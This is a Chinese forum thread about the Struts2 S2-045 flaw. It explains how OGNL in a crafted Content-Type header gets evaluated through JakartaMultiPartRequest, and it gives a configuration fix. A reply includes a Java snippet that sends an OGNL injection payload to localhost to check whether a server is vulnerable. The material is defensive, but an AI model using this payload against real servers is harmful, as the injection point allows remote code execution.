Relinux 服务器出现Struts S2-045零日漏洞,被攻击,怎么办
默认就使用了。昨天一个服务器,没有地方用到上传文件服务,对方只是访问一个jsp页面,但由于配置写的是/*所以导致全部页面都要先到struts2,这货也是可以,明明是jsp啊,它居然默认处理了,于是挂了。你不知道,就证明肯定要,默认就是,要要在配置文件里加这个<constant name="struts.multipart.parser" value="其它" />,换成其它的或自己写一个,我试过了,就是JakartaMultiPartRequest类的buildErrorMessage方法,而出现类型异常时Common-FileUpload抛出错误时将原content-type抛了出来,这导致buildErrorMessage方法里用e.getMessage()取出的信息是包含攻击者恶意构造的代码,而struts2用ognl执行了,重写掉JakartaMultiPartRequest也可以解决这个问题,根本就不是什么Common-FileUpload的漏洞,还是struts2自己的问题,归根结底就是ognl表达式太强大,不受控制,Common-FileUpload就是背锅的
-------------------------
回 3楼寻的帖子
说说服务器地址,我帮你试试,自己试可以用这段代码
HttpURLConnection conn = (HttpURLConnection) new URL("http://localhost:8080/struts/test.do").openConnection();
conn.setDoOutput(true);
conn.setRequestProperty("Content-Type", "%{#context['com.opensymphony.xwork2.dispatcher.HttpServletResponse'].addHeader('test','test')}.multipart/form-data");
System.out.println(conn.getResponseCode());
System.out.println(conn.getHeaderFields());
往响应head里写入了一个test,如果最后输出的head里包含test就说明有问题了